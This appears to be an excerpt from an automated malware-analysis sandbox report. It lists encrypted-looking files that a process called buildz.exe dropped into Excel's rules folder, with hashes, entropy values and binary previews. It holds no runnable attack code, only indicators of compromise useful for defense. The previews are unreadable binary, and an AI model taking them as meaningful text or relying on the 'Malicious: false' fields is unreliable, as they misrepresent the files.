Preview:	<?xml...9..u...[<.?..N.fi._..:.Q.xW.h..N.)...aa.D....0.../..l^.&t.X.c..wNL..L)k..ee^0....+x..[.....V..-s.@...j.).>..Z.W.1^.Y..v...p:..Q..>......<.FKZ1u.....g.x.4.1..{.. XX">..>....=.Z#...<...V.!)B........~(..?}}.-.xY.:..=P...R...)/. bZd.=.+...-c.xs.%F..)j#Q.T...4..s.P.,iY`k.....n..K.H....X.B)...Y......l...s....8..?....\|sy8.=.).....N...h.......il^......N...q...Kzm..~..._..9..Ds...B.;.....,..k.....Rx...6y'...I.RH.C.@..C..N.. Xu.e...z....>C...y.M@..#\|../2...z>{......\|r.....O.y.1.~.h.K(.\.C.hlK.I......{....q.\|.)..rlB>.r.2.'.%Z:\|[h'....&...%:... '..~....i.>.-=...0L4,...z.p.4.nh......tD..R.+.....REB......ej...!y.q9.a.A..28..Q=..{....C........4.a..c.O..D@X....Bb..J......SZ.`..D..I........7X.(+n.z'....z../...a......\|l.....>.IJKc.V.#.4`.Sr0....].\.@..dH..Z..$..YX..Pu..(,........2]E.....Q...R......)..;lO...Oj.}\.G'(8q...{(...%s.t]D..S..P..;.V..w.2.......FNY......[.p....3... .y4..K..$..y...W`[....}.E..v.g_GNFR6.....Gtx...s5b.#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320034v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.744992159500223
Encrypted:	false
SSDEEP:	24:7pvtb3lgeRnfbVYNH7Sjc9IK3IQWObhSTrvGbD:7ZRnzVwbGOIzsSTr8D
MD5:	92556B8D37E7FE906E20881D19B7BFDB
SHA1:	BCE4E8564970F0C9858D5E5679F224925C0C5856
SHA-256:	C5757F9147F2A7A797B859FF67D4B5A40F0EB688BB6B482098D270476DE4F115
SHA-512:	EBBA60A01121E3802040B371F92B8381CF61C78C19146567348326F227A575D2345A2616BC50090959DA6EF8D1F6249BF5AC18F67B5693D6A18EDDC5937D2FD4
Malicious:	false
Reputation:	unknown
Preview:	<?xml)....s..!1.Lp.....(....I......b.~.<.......V.....`.X.l..<...,..r.W.....;5<....X...I,..%..L/.\|83..S.\|A.9...t .$......J.....\|..yy..U.........4W.h..A..(..7.U-..:"..w..@{.._`..(....smP...3T....~9.7^e<.?......#\|.z./.9o'..._....y.p8.d9>.\|w.Z.@.&N_...A.#..V.C.1.f..f....... Cp..i....\dsGjof.i.dmKK..RZn..v.[T/.....0BO{jb...!...[.d.7.jV.X.Y..PEH..._!4.4.2.-.j..7..^.A......N+y6..O....~...S.).9....../.H.9.B2.t.t>.9.6..JAv..1fQ.cU.m.8..ng.._..q...B.._...+...5.......cvJ..l.....I.ub.[we&.+P5...vD8b..a.....?'.q.....?5.Y.....5...*.#~....onz..3..%...B.h.....e..LZ}..b..J.r."...K....... .I...9.O....r... ....`....I$`.U...g%..kAHh.0.[G...........J../...S..?..\.A......L.A@...K...WeQ.+F.ZWHF.\|m]!I.,>.....>..Y.}C.T......#....R....8!r.B.D.a.z.1\|Kd..K...Vb.E.Xb..m....2.b.UP'/z...f .0pv..t_m.\|.m.<.....la.F.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320035v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.857499759292995
Encrypted:	false
SSDEEP:	24:Tj54tl6m+U0/dwlU8V4mlF4GvfKSr7nlXJOPPKxK485wzNqNzHhlL9cGF6cxGkYy:Bi0ZlU4Js/lXJOgK46cchr+GF1GTmp4Y
MD5:	E0EC2D2216BDD84934E949B5D90BA5B5
SHA1:	0F9A7DE1E44548856F5B92BD7A22AF464C62A5EB
SHA-256:	CBE1A909408AF5AD5B1BB5BE633AB70D56E04F3CE58A98160F8241F222E8DD40
SHA-512:	FC771CA259ECD88925F7DF47F5DDD1DC8D200D0EB7890578352BA707A4C552E20950509B9F07AF5BE4AE8BD0CB32976E8FA56717A797E0A2970B9A22277A641F
Malicious:	false
Reputation:	unknown
Preview:	<?xml.$.2..N.."5..d.c^.&$.>.-..+M.[.._..k+....B...]....ks...t_..../..fY...a.^..:.....w.8...Xc.PQ..#..v...H...@Y...q...E..4.P...JP.3f3jg..8)..(4~gp...Bm/...%.F.U.U4..(.L.....S....U....X...;;..&.Y=r=..Pv.......s..@.....2O...;..n._..z%z:.zG2,...j....>F{\.e.......04x.....#.b....J...Y.z.W1j.......uz..[...j.../.V-{r.H.U.0...^).o...:d.\|....<.4..C.V..j. ..cK...n.3...R..L...V.>2.Y...O.f.Q..I.eV...'.....y.=g....<P%..GUv.!..j..R.cg....V~.d.....B..[=.9.0..W.P..?........$..JF.4..L...1T.X.N.,......."m.JU/.$....&...2V.%Z....m>...5.......\|Xb.>...i.+..di....e....?.C`b..."..+..$.T.....1.:...h.z[Pj..mf..o^.o...].#....W....J......S..Y...#%....X.`....7..G..#j......Ha.................bd.N....&...7}."..D[..b/....%.O"...EqO+M.K.....W.!.n....\.7..#..[J..........Ip.g.....S..b...w.....x..b...rQK.....H\.}...\|.Q..4....+.Q.y...7SBT.k.........r.:$l..r.0^=.%p.0......m'.`..8...vuK..@.B..o.".)..8........>.s4=Z).S.O....G..j.........2.......=v..Dy...8....(.Bb..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322001v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.786334501270361
Encrypted:	false
SSDEEP:	24:PXUB4QTSl0WkRWPGvH1ZMc1uYXDC0L2+RCBmOIlPMFJFbD:/UBkeRWXc1DCE2oCB6l0FJVD
MD5:	7E77F310C9E09329BE2D56A8D287B743
SHA1:	53A5BDB0F0579996998D2A4ACD835A4282E0A103
SHA-256:	95554E1CF248FA83BF46F0335C7310450CC1D790B770BC017AE9F093B5CA4547
SHA-512:	307D586495EB3231F95BCA667F189884C082B181B56860F3D3F561EE20D0C22789F745BB477870C6CAF0DC1FA68DFE1FD61997FBA33B6D9AF0F1646D56CC73B1
Malicious:	false
Reputation:	unknown
Preview:	<?xml3.......~m.L<eU.....r..Fv.`...sH.._. [Z=......5..B.z[.Q.......7h.]...V\|......w.wf...A....iWP..)U+.h.....s<~...A........vy.!...1k...vW..JH.....@....B.79."...=....U&..m.m+C6P.8.@<....r....(...04.1..lf...X/.b.....6.{....U.s...m.B....2yxzlx.....yW.....r...?Cs.x...1.d ..\|...Wb.........hm/...c.RS...T..q....j..P..1.eN @..9#[.}_d4........Z..w~..`O..UhQd...FuK.....`..M56.8..H..e.t_........2>.'o:....L,/...@W....Io.s.....#.v#....W.o..a_t..8..;S...'..s.:7M......c.=,l;D...vo...~.4Y...g..Q./.M.L..}.W.....] ...`=.Pg...:.F.-.Y..Y.....%.1n=...:.G...........a...$.c.&.^'...hTA#..n..=..:.B..(.'4..k...2:.p.........eB...+..S\.I.c4ik\|T.a..]^@...H0.(N4.nA.........O.j.8.rw..c.md`.+h.?+v.CY.6...H+.....6.].E...NY..f._..G.]..t.HT.D&..h.6.(.9..j..[...X.u..X_2Mn...2...AT.B...}..-....._..-X..N.#7.sE.\......K....1.Ta.Ml.\|.X%...]k.wv.O.A...v.e.....b...D=.o.....?.g.!P.o...?=o...%.8....OSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322004v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	7.846766653139459
Encrypted:	false
SSDEEP:	24:OOMqpat+eGMuZ3FlRlcBUjT4dxulTAQp05ZlPG1Qslg+7syzybD:LpatZe39KsQxsE5Q1T5syMD
MD5:	3C62D2D2F88573D72CD7AF6B6EC7F9FD
SHA1:	CD75E049D3FD7EDF261F93B0CAEDC898B9B6C7BB
SHA-256:	A0DF01F92FF064AD3F81E50BDB59F21480F57BD6E208C534448C6E4C612F466E
SHA-512:	5218DB0A28DA9FBB75267F98D56B6364F58E291F1C78330E7D21596F744700F5163F318B5C9B862AC881549844902BC736B19CA8BB7400FF7C2FEE50D5713876
Malicious:	false
Reputation:	unknown
Preview:	<?xmlL.+76.Jh...9.U.....8.>..k.....jy....m...kJS/...X.....(..p.}...W!.._..JZ8....g'N%.&R...W-..<..g.qPux..s..~...&....r........v...6W..PF..`MV.-..'{.3...\|.t......i.@.\|.Y..1.d.P.8\...R\.:gE5...w<v.Q....l}F....s....>...1.F(.PK)..j.6.... .F0[...E}.....`Y.0g..........N.S..&f6.2......6.uV..".....e....M...y..`.=B..}..H...i....6#.l[w.....\|..Q...R.....N............@......7bMX...&i._.BL........C..GAc...SY.u.b........:...-......C......RXv\|).T....S.V..G......Jd..9.)..OI/....3"^.. .1.. =.v...z....=\|.q..b.SF..=gG.O...O...<.....0/..K...k^..Z.9...$....)!.X...\|....Y.....`.....M.....{.....<a...~..w.3...#..V.m..R...sNu......?...;0N.:.t..._.PU......L.8....>.....X..D.&ap..[a...$.&<!N..K..........9.[.......t.h+.5Ko.?..-n3.....Uq.Sr..&..P.......t....WQ6h.p..P..i..h..gh.;E.&.#.WB.).B.uD=.9..n...c..R..l..!.*..e.vP..%.`%@X.j_..5I.ft.U\|..,CV......Y......E:[.la.B.....9!.._.c....zU`5C....`..&o7.V.`.LB.U....=...9....p..Cr2^.j.eyX..@.j...../.E7}..y.;f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322006v5.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.891981957810342
Encrypted:	false
SSDEEP:	24:tMFfPx+a1EX+VUBCrjblPZ5oKcAFofYsu3QLpl8drPE9bpuI2whUUuYEzj6qYEB9:tMFfP4a1vpjL5rcRYp3Q/U4p0I2wQZTD
MD5:	15517652BCFF07E035431D6C555965B8
SHA1:	7AD6AC5FC3AD5E70993FAC1C09C47E49344B9EF5
SHA-256:	0F9CDA1ADEA05A8E3C5E8437D60B7610D051FC0D31380F7D7FD72549282F0D9E
SHA-512:	20EBD796B6CF82C8898A54867A8183A3C1B9D933A53621776FA956DF5AF9B15493FC6FC133ACB86F7BE7DE9EC57902B9CA70E4A4DA5CC698D002A38DDDFF4183
Malicious:	false
Reputation:	unknown
Preview:	<?xml../D..AI.^P.=D...`..K.....*..+(B??..sp....V.....\.`...P..........ui.9.....B....[.1.`>..#$....hLD..v..?j.h..t8Z....g...r..$.........6.i..a:............>..8.b.g..&..<..Oq...P.W.[0.B..C...Er..O._..gk.q.....`......:.B....o..^cG\|<..]..?....../.W....+..k8.....?.....j.Zs.8....8$./.Y.L.e.3.6...kU....Lj........Tt. TXC...G$....S...W{\|..\|....N.=.....GG.66...w.!.v....A.(..i`.m.S:.];......Nk...tq...41.A^..~c.<l...DrF.h...U.9c...f.r:..Ke.w.(......7...l(..b.........I..%.+p...$...hrW.U.n.s.N..O..[..'...K.n..1../.i..1.k......2X..,.{..3p.C...v..bi...R..me.."..JC.B.w+h....2O....D.!r...#t.C...=..2..PW6d.BL..v>.w.....z]RW.......;.S.#...."0...#.......U....E.1_..3....AJ......Iw.?..J...MdH^...eZ.!@.....M....e..J-2uT.o.a;...I....6.PN..i.x..T.]M...2.....b?._@..09... .~h...hBD..GW/.!....2....48.~......f.......8.XA.....bi.....fD#..\|..%DSd....~I..t....Y.....R....p.!.h....(.:.-.k?.{S.;dW. /..L..(..7q.s....)...........q7..k.J..E.,..5..{d...r..Y......m1.\h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324001v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	846
Entropy (8bit):	7.75982677511233
Encrypted:	false
SSDEEP:	12:fU6oM4NL1FvPZABiCyNvSKkCoDNCPou7fg4kKiYt61Q63HEqd6Xh6Tz1+cii9a:cvMO13rkJDN1u7Jb61QCHETwAbD
MD5:	62A5301AA121505A7C5B8CBCDE83C188
SHA1:	FC1969A2C56FFA62D24A38D7A707FB75A7F8110B
SHA-256:	1985CAFED22690D01C81D52219A2C59E66FB539B47649F1DF2D153033264DD91
SHA-512:	5FEA9B87610AB3C098E5C915B4950976431D64553FFCA7A19A4742A36439759063B35165FB853ECE0A37D1DBDD28A81CC903631486F7AC3913DECE0E9B2EA952
Malicious:	false
Reputation:	unknown
Preview:	<?xml.&.HI..a57^._..\|E.._[g..!._...`...@../..O.W.d...2..>.iJ.J...m..%...1..P.....}M~.$...[......y...B.%$R.'......U .eg...~...$.j..m.x\.2..l.G..;91d.K...=.2.K..h..U.1.7..~.....0...U..3.G..V<.JvHRw.....Ux..x.".wZ.2...m$M.s........w.U.6.[.j.LJ..Q.......}..ay.~.DD.b8.....';.T..Y_b.......].S.F,(9.. /..S...H3.s..Ia^k.......n......./...0...U.8.X.(.t....&G....Q.`.....e.o@..B..P...6+....<.5O.+7...Lq....r.{-...OB.{...D......Qa..]..7Zu...e.s._.... B..0..zC4cu.fBF.a7.......;.6x.....ID.{.../.....J.."Q......Ze.JC.M.:.5....>..#.....u...\|.I.Y...;.ga..?G.p.e....b...[...Uf.1.%...G.$....3..2...;...<.1....e....>N...hc..6.1.6.kC.@e/.c.%=..107..(O..Jh..:.+.V.P.~hs....Yu.....z?".C..}.!.8~qV..R...9.......q.2..Ec......7.<......DM..*..iY#....ZLSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.842011405312567
Encrypted:	false
SSDEEP:	24:Pkwl6MsNQAhumZ9zZSSNAVGAgSWjwVA7Po9Ag93rmaLhbD:PkwlLsNv33NmrCMVAb6P93BLxD
MD5:	8DF1D21F720D0103EC9066BA711A43D3
SHA1:	CDFA934DD579A66F34CF285815CAA5EF5E747DED
SHA-256:	8A1F5CFE30B13B20132F0E3AA5B562793CC9EE8E63752DC652C62373DDD0E3CB
SHA-512:	667204ACEC427FE38892D90EAF457D2F73CC5D80F549F07A76AA43ACAE6204F226E396C089CB673CF23FBB4E5EE26CDA0F37E2633E8A6A96FA721C5D1BE9A948
Malicious:	false
Reputation:	unknown
Preview:	<?xmlv...3.1..]7....P......2W.......8hY].{JM.,.X..Z...H.!(..N...h...sC..#{..\|e..Gq.2.~tS9.@z..+......k.S3uH.....K9.u.:Dv...t[...(..s...ou..\x$.<f..k.U.../el...Z..9.._iY....RT0...8OV..F)..<.uR.,.d)a/)."........5G.....Z.....F...j..$..0 +.,.(..P....w..fF.W:;w..V.\|~..>...!......q....a..o_/.zS._..(.:....K.M......J...}......ziRiZ...G..\^.l..AAR..8.CCl#mik.~U.KI!k..G.A2Ef.P7d.QV..x....c.u]1...gez.n..K&.....h;....x.....#6".<..zj..]..:..1.......H79...&.......V...L_n..!.Pl.].X...iI...b.....3`..@.....Q.Z..i.V.Yq.`....N....eO.......#.....}.q...@..n......d.1+..4.<e........._.=8Mx..."Hws.h.U(..j..~jnls...M.e......[...;.L2."1....@:..y.\|I..6....+./.e..6..m@...[..,...y.."....C9...0.\|!.u...%r.z.a..v..&..r.....4...Lf.Gu.....}.j...A;4..@.m....r..b.8].Om73.1w\...\|F0m'M...I2..=A..\...].I\.4.BnOp..8.,eOs.)5o..B..L...w....g.'./8....0.....<............kd?..8.r'....O..B..2..i.U\...G..l.y...\|.().g..b..........k... .....xK......%...Ib.ne....g.........[..k..h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.817201779064313
Encrypted:	false
SSDEEP:	24:2xoiZkYsMbtC0ELOe87kkLmeVm8pfynDFRhndE0iBTYCvkUbD:2CiZkNy86qkLJVm8RynDDhdE0iB8CvkG
MD5:	12CE8EB062BF50241EA40DAB92112F3E
SHA1:	564AD3F3B22D51D2A74634E76C123B8231787268
SHA-256:	1907AD00C793CDF58784A59104DB1202498619E1A57314D8E2F95EAA714F4A96
SHA-512:	CC241E0B98EAEE645EFEC14B65ED1FD38BCF6E18636383DAAE1D05C161152B8C49630DC8250437C8ED77AD93A667350593FBA94A0E1C40C6DDD9D930B9E313B8
Malicious:	false
Reputation:	unknown
Preview:	<?xml..............V.mH.iEE.'X...C.R.......T..+#.y....".)..FZ.At..:.e.-.Z..E.p.W.J.....C}..:.2r..X...p/D....$._..K....S..2..E....l..<]".....%V.e...........$....b>Z........w.H...Nc..7.c......H...kQ...W...H..Y....E..rJ....7cu..Z;R_..].PH$&WD.H...zV..(1.r.f.~<Y#...?.M..U.b<.W.W.Y..0j...L.~.]...v1#.0..B...b\|}... .....+MH.M^G8..{.R..@...S.7U.-....>...>...Dq..q.J.....S^..Rt......N.bu.8.e.k$PZ..o;..\|g....'..+@.k.l.....,.g.`..r....J.....s.4D-...1.\W..SuX...N......(.c..q.r..H...Y,...B.~1..F....p7.e.G&..$z>..'4.:s.....,.u.>........w.\|&e../.q.^..%b....N.FZ.q.w..wd......g...w...=.N......6.G.^%)[....J_E....Bb..73'k...$.c.N!V3.......g..?..D._5-..H..0.\=...D...k....jD"....Vt.d(V...$........^Ns.^3..2J....._..4.g..R./\|...C.;.<e..v.Eq..:..]....*,.CG.c....[bk8....Eo.......5...a..ic........B...?.3.wp.H.j]..5..b..9.2B.P...k.&.#.O.....p5.^+O6..L..y..(_...~sJH.$Op}A5I..r..N.A...;.PIv...r3.............e.X..........+.P.~%.{./..V..T.!>W.G.@.Z%........fh.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.835232816705901
Encrypted:	false
SSDEEP:	24:J88Y1+UKpsYuXcGj8LZhbb9rzRG+7xFFKj9Azc49FQNziDbD:J88G5y0KPbbNRG+7N0Azc43czsD
MD5:	5F4A9C620B1E7766CEC9A9AA1DB9445C
SHA1:	E8009BD9D7EE944875CA905940E78FEE92B923A2
SHA-256:	9655B11E8C1F541F957FCAC1C1BBA1BE789726C1CF34C77CF595E544F1D0DB86
SHA-512:	A1AE2F531AAF0107D7E95389A6036E39CD996CBC112EB50F59C25D67F76C44D9B194FD022537331AAA5BD48F65AD3817D6E9FF8F246B225600394373265E3F63
Malicious:	false
Reputation:	unknown
Preview:	<?xmlo...)...7.-..&.dM.[..<...0.]...R...zq.K.yZ.....}...G....".;......v..I...".R..N.2..~.R.j..6.....s...+.yr..v.{..=..(g...5.N....?zW.F.Gc....0<u+\....Y.........{:..DW..`).....>1.B.....x. .M..Sm....R....Q..+=[..d-..m.}.....c.....#....)...c.ux........Y:.....1.....!V.0..._..i....~^..e...\[.....&~...........-...2..z....T......)3..8...:.....k.X......^.W...i&.td.T?........+-a.....2e..X...:.].J?A9....2}......t.%..SQQ...=......^.............Wfyz..uA%+d.\L,.....m......i>0vJ..F....@e.K....Q.P...s.A...S....uq._.5...;QWh'.t.]..#...f.........\|.{S.DL/,o.VqBD..)\....L..Q.F.-..r.%.?R...om...I...'..@........2.0 J.(..mW..&.a:.O$......W.o.5.q.`o.O..M..f.~...I.m.....u.../../.T..[.d.9..Y.Qg.}.Y..M".....o.....b...!.Y..-....<....u.:.5E.N.......%/t..r.....4.....Z.p.......(GZ...4.uc).u...1@..}q....4-.R.._.&...-..0.%g~...p...9.I.+..y..\|.b.lIH.eA*r.8..q.....oc....Z.9.g...b.b..".9..X.V.......2!.$..N2..e.A.D...:..5...e.&.......x.....hQ.d.o...\.o..._......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.807564181655924
Encrypted:	false
SSDEEP:	24:aZJZ2/WTDrqBuXSDD5MqUh2nF2VZN9OckM7akUAB0LbD:iOWTmuXSfuZmoSMxz8D
MD5:	000F6BEF0016064B09287F79C929FE6A
SHA1:	7347D4C8B538ADCD68D3D838A4D63C38612F0DDC
SHA-256:	E95D0C402BCBA9225BCD8CB854F29910065D642FDF10AF5C3377342C92202401
SHA-512:	499586EC125E0FB87229866527BE1A36148E1090707F278777522E40B4FCC002AB5D70C50680403BEA0257D0E2265BA50FAD1F16C6ADFDC6A2538543EE67180A
Malicious:	false
Reputation:	unknown
Preview:	<?xml8l....J..?.2.......5.N..wi.N.)D..}X"^LC.Mc .j>.....)$../..>...;....d.\E..u..+.+._D...w.......i.;..me.#....H...j.g.&Br..C+3.bQ..V..a......?.K].....i.......vZ..n.P..E`.m.<Qb. \E....%.H..?.5../.'".P.].o....}..........sX.".?Z...g..q.B5c....>z..}k...;....?....`.......>ch.e..&....5{..6.....#...8.e..1.....Y...P...]Iv)(-w.S.E.:m...?.u...x...aG...a.i%...P......:(.Lm.g6f.....H....3.%....[...U.X<..W....M...<).6.8..P..Q..(:.8.....I..=.......kl..._..E...tK.....8...j(9........#....>...5...,.Q.\...)...1...)...9^...i.z.ee.M.1.q...=x...s..q+t..%.N\|nv...ji..[9...A4..5.vCs.".....k.r.>Do..`..P.).J.g....O.rf\.xo...A.......sl.m....J..b.uX..D..(b.}..g..6va..E....k.q.$..a......2....X]...Mu.....$.....R.0....*.o.E.....Jc...?...n..r"...G.t`Q.....UvM....^..~hW......^. ..3..L.@.....#,....2.!.3]....'~..o...".ia.....0W%H.Q3wm......g.z~...n.V..a....:....@...Su...<..t...U@......1^.../..n"A...)y......3....:.P.%Ta(X.d..w....O...?.u..h..l..^.nn.........V......Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.799678946781092
Encrypted:	false
SSDEEP:	24:MciaJpW1UXXfOLgK3qBt0Xn3hmnhQGUofJ8h3SkpydJ40RbD:cU01U/OLTaBechTr3kpydTBD
MD5:	7FA6144DF282466E91AA03E15D67562B
SHA1:	E1C4D6A7F005884C6E8238D79BA984F66B5AF808
SHA-256:	FF01182486B41A0479CF30462AE335AB93D6D633238BDB0DE8BDBB786A99AA28
SHA-512:	06F9D7862CD8678370CCBB8BCB83F2AD0749D0DB6EC936FDB48B9C17A4F7F7CA0FB13E344CE80ABBC182047E34D6AB6B94B75CAE369FD16012770A96EC728124
Malicious:	false
Reputation:	unknown
Preview:	<?xmlF&3..Zg.[.-..Q...4...#.X.LHN_.{x....@}....I..<.[....CD.z.;.%.......RHo.e.\..h4...<...$F....V.$...h{.;..=U.a{...FP7[;+.j.lJ}..Vg.M`+bx......H.......9......~~.m.....:..+ew..b...B..m...A:>....U..}.... .7..OoM.YaJ......6.H..az...~.zpGk.M.z.;Ly....Q...r:...l.2..tM....0..m.3.T.......r#CBn..&.:kM..1ZY>.9.>.32z.-..(..=...;5.kJ...5..IeU.6.:.QC....2..HT..t....6y..8...`..kZ.U.)K'. c.......$^....8..(..GjR.....w\|s.W....3..V..._W ...z.zbX.cP.`..C........A..F-......ht..rD..d;.g.Dkk..p'..?...... I.Cy=.......`1.p.G.3rG..xmD96..A0.....=.$I.-1.......2.RZ..c<E.F.q.7 }S"q........j"....a."B..8UQ....8...S....z.n........N..7..NU......%\|.....7..'..t.K.[3<.3.:1F...79.m....y..\.w1.E@..3I.:...s.>F-.....^..Y\|..<~......mf.6"./....G........Z...V._J.....7..M`0.;.......Z!RlG.=...O.,Q6.....k...a.P.OP@4.B.+.#.C..%.v._..`..p.....a./..!...E.@...).....^x.D..Y..1..].........P.W.;...5..nk2.$3%....}.e.=....9D.h..^..r`+..$..7...D.]J._..-u...G...........c...c../F1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.774420941945814
Encrypted:	false
SSDEEP:	24:ARXMfJwtmScLYGt9l9VE5OcKuBZs746k6Cw98kbD:phwtLcLYC9vVFcKQCbk6Cw95D
MD5:	30915627393352D6DB287E00837194D2
SHA1:	A83F0F4FB2116032B54F6004A07F33C84DAEEAC1
SHA-256:	D5711E38CBD5758FEB0C01A354DB03BDE95C6F29917D681C2B48830613490A3F
SHA-512:	80FE1CFBD805F3DD89303108CA9383BA51BCBA23EB18FC63DF6CB196F76B352F8D1D030D51F400DC45EF50985E427BED867D67CADA8D3FA3A3A36D82DF952AF4
Malicious:	false
Reputation:	unknown
Preview:	<?xml3.C8.F..Y0S.n.j ...K4...;C..a...q\i7.....k......$Fwd...............9............F...=.({(].b0.6..\|j.9..2]../p".S..)......4...R.Tmg....C..t.m\|.b:g...fnH..y......AH..qv]..!..S..BQts@..V9n:.~....X"I.Q..X.......".,5.Z.L.5I..Y.......Tv.cKH...t....t..>).H.............x..9l.Bz..K..%...5..}..T...........E.y.R...c....H.R.y......U.?...../K...Z3..)..v].NO...n.._4......TIm]0......#!..(i..xI..On.=....V)..>.....@.]..w=.S.._..T...f.-..Z;3...Iu..._}N.%......p\..\`..\|A..[.Hc..W H.2B..e...4r..L.8W..'.8..e.....#!3.\|..$H.g.x......U.q...N......I......U...p4}..e.j..g.jll.....V.C.0.T...Ng..f/....3.].{...t.0..8..7..].J5.....1.s.b..kK]f8D.8.Q`.w..Qr]m..<f....jc7..X...Z.uL+....a.N.#.p..}.H.O..8!.....A@.F..(.54...e.>.0(#j8.(...4g...3Y..z..p....QI..s..........M_ .MG... .1.S..#.&V(~..fC.:...`....r...+.....5.......~w".g!.q../.........c...+..-W..ru....L.Z....R...>...k..:.C.]c^V..H.k.3..m.}.<......te....-.W..\|.L.H..]O......S.H..G....p..H5.....:.~.b"..%.GD.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324004v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.8194642381554305
Encrypted:	false
SSDEEP:	24:1xFp48eeq5XJx4aRoth+Zxm3r4nWRsTmhoDN3uB1svdIbD:rFp48eeq50aR0hSGsOoh+BC8D
MD5:	5FCD00CEA8730E6B22C0AD16A4874C61
SHA1:	3466AB60CC918C111BAB00C37EE6472942FBCEDE
SHA-256:	2F54DA8170C2A13A677DDF0D544E422E2310597AA92E9C93B2C697C748E81589
SHA-512:	9DAFCFFA7008A5BCC0CA5FBE1F676B0543D54D05894705E9C550C87B6228EBE2342BC058A62E2C577B7207E64A9E7E25E60BF1918CA09E0B17DD666E499475CA
Malicious:	false
Reputation:	unknown
Preview:	<?xml..q3.6[A....!yov..e..\^`.fD..."2D..$..T.l{.n.....G.!..,O...JI..H:...7.#c. 4R.Y?X]...nFl.~.....L.r..$..~U.v.U.}.0x.....tF.......]..=.....L...n....rX....8.8`I.(p.B....!...ZR9..A......m.J....A.mi.4..SH..@j....n.l..~+..)..Y.F2.t...&......W.1.]......w.Z.P...t.O..5G.tLk.:...\uN...M..3FA.....4j.%R..)Z.P.i.f....''=....C.MZ.8.}.....L.e..[.,..CERt.j.Q....K.0..E...v.e ..J.x..F...rF.ci.0.<.B.P..[....o,...oHu...`[.A.L@.X..~..C.~.MS-..\[....M..w..........0H...d.;......a...E..XhW5:..Hx0C.......']..px\|....h)+.%..gK=......&.. ..tT_..n._.^.K .P.....]..Y..V1.!..q[.N.e.rn.....c.N.K..9.8$.g[......A$-..``........o..;ym...7..ZQ...l...=.p..f.....mI:.j...._.;.w...;d.....h..w.2.l.RJq...&...&.y/C~nGz...4..9..7..&+v....'..&.o&.:...Q.9~!5D.d...V.W8"y.p..I......=...10X>...s..;D.......q.u....P{..X.{.b..K........o.....\..\|...z71F..j0.`.~..s#.~....z.{.....,...........^"....,.z.P......>..t?...\|..-....9`..(...1.hSM......>.aD.gb.N...?...3q..5...8:KhLd././.SLiby

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324005v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.77938346356264
Encrypted:	false
SSDEEP:	24:Z7qQJ2ycnEzVrI/7ZeYshGsVvVZPeLuBEuDbD:ZJ2ycEyQYsXNILuuwD
MD5:	C35D06D39741578F1D6A29E3661F5593
SHA1:	91FBED0EC985515A812BDF350B7D686B76B51A4D
SHA-256:	7BB43C93E8A005F9B0F2E4884D4ECF0CB6934D742535DC3B1E954D9BEC3B964B
SHA-512:	E4C93B252D9246D35258FF9258C46BA3F580DC825BAC5AA121F88F5296CDBB2CFFAE4FD6C82F9374BE89BD6CE56F98B1ECD0A39E281C308788F5879438124D24
Malicious:	false
Reputation:	unknown
